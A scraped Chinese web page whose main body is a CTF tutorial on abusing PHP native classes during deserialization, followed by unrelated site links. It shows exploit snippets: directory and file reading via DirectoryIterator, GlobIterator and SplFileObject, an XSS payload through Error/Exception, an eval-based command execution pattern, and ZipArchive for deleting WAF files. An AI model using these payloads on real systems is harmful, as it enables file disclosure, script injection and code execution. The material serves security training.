当前位置: 首页 > news >正文

营销型网站制作流程wordpress 模板编辑

营销型网站制作流程,wordpress 模板编辑,网站开发实训,有没有专门做淘宝客的网站什么是php原生类 原生类就是php内置类#xff0c;不用定义php自带的类#xff0c;即不需要在当前脚本写出#xff0c;但也可以实例化的类 我们可以通过脚本找一下php原生类 ?php $classes get_declared_classes(); foreach ($classes as $class) {$methods get_clas…什么是php原生类 原生类就是php内置类不用定义php自带的类即不需要在当前脚本写出但也可以实例化的类 我们可以通过脚本找一下php原生类 ?php $classes get_declared_classes(); foreach ($classes as $class) {$methods get_class_methods($class);foreach ($methods as $method) {if (in_array($method, array(__destruct,__toString,__wakeup,__call,__callStatic,__get,__set,__isset,__unset,__invoke,__set_state))) {print $class . :: . $method . \n;}} } 几个ctf常用的php原生类  遍历文件目录的类 DirectoryIterator 类 类介绍 DirectoryIterator extends SplFileInfo implements SeekableIterator {     /* 方法 */     public __construct ( string $path )     public current ( ) : DirectoryIterator     public getATime ( ) : int     public getBasename ( string $suffix ? ) : string     public getCTime ( ) : int     public getExtension ( ) : string     public getFilename ( ) : string     public getGroup ( ) : int     public getInode ( ) : int     public getMTime ( ) : int     public getOwner ( ) : int     public getPath ( ) : string     public getPathname ( ) : string     public getPerms ( ) : int     public getSize ( ) : int     public getType ( ) : string     public isDir ( ) : bool     public isDot ( ) : bool     public isExecutable ( ) : bool     public isFile ( ) : bool     public isLink ( ) : bool     public isReadable ( ) : bool     public isWritable ( ) : bool     public key ( ) : string     public next ( ) : void     public rewind ( ) : void     public seek ( int $position ) : void     public __toString ( ) : string    // 以字符串形式获取文件名     public valid ( ) : bool } 可以看到这里有我门常见的__construct和__toString这里我们可以反序列化利用  这里会创建一个指定目录的迭代器。当执行到echo函数时会触发DirectoryIterator类中的 __toString() 方法输出指定目录里面经过排序之后的第一个文件名 测试代码 ?php $a new DirectoryIterator(/); echo $a; echo以字符串的形式输入会触发 __toString()以字符串的形式输入根目录的第一个文件名 也可以结合glob协议进行多目录遍历 ?php $a new DirectoryIterator(glob://f*); echo $a; 如果想显示所有的文件可以用foreach函数来遍历比如 ?php $a new DirectoryIterator(/); foreach($a as $f){echo($f.br); } FilesystemIterator 基本和DirectoryIterator一样 GlobIterato 名字可以看出这个类是自带glob协议的所以不用再使用glob协议了例如 ?php $a new GlobIterator(/); echo $a; 文件读取类  SplFileObject 当用文件目录遍历到了敏感文件时可以用SplFileObject类同样通过echo触发SplFileObject中的__toString()方法。(该类不支持通配符所以必须先获取到完整文件名称才行)而且这个方法只能读一行 test1 ?php error_reporting(0); highlight_file(__FILE__);class a{public $key;public $value;public function __wakeup(){echo new $this-key($this-value);} }unserialize($_GET[a]);? 这个反序列化没有任何可以直接利用的魔法函数只有一个wakeup可以进入 echo new $this-key($this-value); 构造exp很简单只需要让key值赋为我们想得的原生函数value赋为路径查就完了但是这个方法的局限性就是只能查一个路径上的第一个文件。 ?php class xxh{public $key;public $value;public function __wakeup(){echo new $this-key($this-value);} }$a new xxh(); $a-keySplFileObject; $a-value./; echo serialize($a); ? PHP 原生ErrorException类(XSS实现与hash绕过) Error内置类 适用于php7 开启报错的情况下 Error类是php 的一个内置类用于自动自定义一个Error 在php7的情况下可能会造成一个xss漏洞因为他内置有一个 __toString()方法在ctf反序列化中如果flag在cookie中可以尝试利用Error去触发__toString() ?php$a unserialize($_GET[xxh]); echo $a; ?php $a new Error(scriptalert(1)/script); echo serialize($a); Excepthin 内置类  适用于 php57 开启报错的情况下: ?php$a unserialize($_GET[xxh]); echo $a; exp ?php$a new Error(scriptalert(1)/script); $b serialize($a); echo urlencode($b); 也可以成功弹窗 命令执行 如果有eval的话就可以rce ?php $a $_GET[a]; $b $_GET[b]; eval(echo new $a($b());); ? 这就不限于Error函数了、 其他类 ReflectionMethod类 他本身具有的方法 class ReflectionMethod extends ReflectionFunctionAbstract implements Reflector { /*方法*/ReflectionMethod::__construct — ReflectionMethod 的构造函数ReflectionMethod::export — 输出一个回调方法ReflectionMethod::getClosure — 返回一个动态建立的方法调用接口译者注可以使用这个返回值直接调用非公开方法。ReflectionMethod::getDeclaringClass — 获取被反射的方法所在类的反射实例ReflectionMethod::getModifiers — 获取方法的修饰符ReflectionMethod::getPrototype — 返回方法原型 (如果存在)ReflectionMethod::invoke — InvokeReflectionMethod::invokeArgs — 带参数执行ReflectionMethod::isAbstract — 判断方法是否是抽象方法ReflectionMethod::isConstructor — 判断方法是否是构造方法ReflectionMethod::isDestructor — 判断方法是否是析构方法ReflectionMethod::isFinal — 判断方法是否定义 finalReflectionMethod::isPrivate — 判断方法是否是私有方法ReflectionMethod::isProtected — 判断方法是否是保护方法 (protected)ReflectionMethod::isPublic — 判断方法是否是公开方法ReflectionMethod::isStatic — 判断方法是否是静态方法ReflectionMethod::setAccessible — 设置方法是否访问ReflectionMethod::__toString — 返回反射方法对象的字符串表达/*继承的方法*/final private ReflectionFunctionAbstract::__clone(): voidpublic ReflectionFunctionAbstract::getAttributes(?string $name null, int $flags 0): arraypublic ReflectionFunctionAbstract::getClosureScopeClass(): ?ReflectionClasspublic ReflectionFunctionAbstract::getClosureThis(): objectpublic ReflectionFunctionAbstract::getDocComment(): stringpublic ReflectionFunctionAbstract::getEndLine(): intpublic ReflectionFunctionAbstract::getExtension(): ReflectionExtensionpublic ReflectionFunctionAbstract::getExtensionName(): stringpublic ReflectionFunctionAbstract::getFileName(): stringpublic ReflectionFunctionAbstract::getName(): stringpublic ReflectionFunctionAbstract::getNamespaceName(): stringpublic ReflectionFunctionAbstract::getNumberOfParameters(): intpublic ReflectionFunctionAbstract::getNumberOfRequiredParameters(): intpublic ReflectionFunctionAbstract::getParameters(): arraypublic ReflectionFunctionAbstract::getReturnType(): ?ReflectionTypepublic ReflectionFunctionAbstract::getShortName(): stringpublic ReflectionFunctionAbstract::getStartLine(): intpublic ReflectionFunctionAbstract::getStaticVariables(): arraypublic ReflectionFunctionAbstract::hasReturnType(): boolpublic ReflectionFunctionAbstract::inNamespace(): boolpublic ReflectionFunctionAbstract::isClosure(): boolpublic ReflectionFunctionAbstract::isDeprecated(): boolpublic ReflectionFunctionAbstract::isGenerator(): boolpublic ReflectionFunctionAbstract::isInternal(): boolpublic ReflectionFunctionAbstract::isUserDefined(): boolpublic ReflectionFunctionAbstract::isVariadic(): boolpublic ReflectionFunctionAbstract::returnsReference(): boolabstract public ReflectionFunctionAbstract::__toString(): void 可以看到这里也有一个__toString函数也可以触发反序列化漏洞  ReflectionMethod 类中有很多继承方法可以使用比如这个 getDocComment() 方法我们可以用它来获取类中各个函数注释内容 ?php show_source(__FILE__); class a //flag{123}public function a(){} } $a $_GET[a]; $b $_GET[b]; $c $_GET[c]; $dnew $a($b,$c); echo($d-getDocComment()); ? ?aReflectionMethodbacb 利用原生类ReflectionMethod中的getDocComment()函数类读取注释 ZipArchive类 可以通过本类执行一些文件操作在CTF可以用来删除waf open(打开一个压缩包文件) $zip new \ZipArchive;$zip-open(test_new.zip, \ZipArchive::CREATE) 常用方法  ZipArchive::addEmptyDir添加一个新的文件目录 ZipArchive::addFile将文件添加到指定zip压缩包中 ZipArchive::addFromString添加新的文件同时将内容添加进去 ZipArchive::close关闭ziparchive ZipArchive::extractTo将压缩包解压 ZipArchive::open打开一个zip压缩包 ZipArchive::deleteIndex删除压缩包中的某一个文件如deleteIndex(0)代表删除第一个文件 ZipArchive::deleteName删除压缩包中的某一个文件名称同时也将文件删除
http://www.hkea.cn/news/14527759/

相关文章:

  • 网站建设服务器是什么从网站下载壁纸做海报涉及
  • 网站建设中提示页面下载做可直接下单购买的网站
  • 制作网站的步骤域名网站产品推广
  • 德州网站建设的公司沈阳做网站哪个好
  • 阿里巴巴外贸订单网站常州网站建设教程
  • 对招聘网站页面设计做建议网站推广品牌建设
  • 韩国男女直接做视频网站专业建站公司联系方式
  • 网站建设定制开发推广短视频万能素材库
  • 永州网站推广wordpress内容页标题
  • 做兼职什么网站比较好装修设计视频
  • 织梦手机端网站怎么做建筑网站新闻写那些好
  • 深圳网站优化平台ps网站头部
  • 网站推广站点建设与策划手机网站建设的公司排名
  • 云盘网站建设图片上传网站源码
  • 常州做网站哪家快黑河网站建设公司
  • 南昌网站建设方案优化做一个软件需要哪些技术
  • dnf网站上怎么做商人本周新闻热点10条
  • 建网站需要服务器吗做网站的软件工程师
  • 网站在政务新媒体建设方案crm系统官网
  • 弹窗广告最多的网站网站的头尾和导航的公用文件
  • 如何在网站中加入百度地图深圳市建设工程交易服务中心宝安分中心
  • 金花站长工具平台商业模式有哪些
  • wordpress站点名没有更改做折扣的网站有哪些
  • 宁波网站推广网站优化郑州网站建设制作费用
  • 国家网站备案常德市网站建设
  • wap网站开发价格wordpress 文章rss
  • 分类信息网站营销杭州精高端网站建设
  • 南通网站排名方法交互做的比较好的网站
  • 网站开发和美工的区别个人网站制作申请
  • 卯兔科技网站建设购买一个网站需要多少钱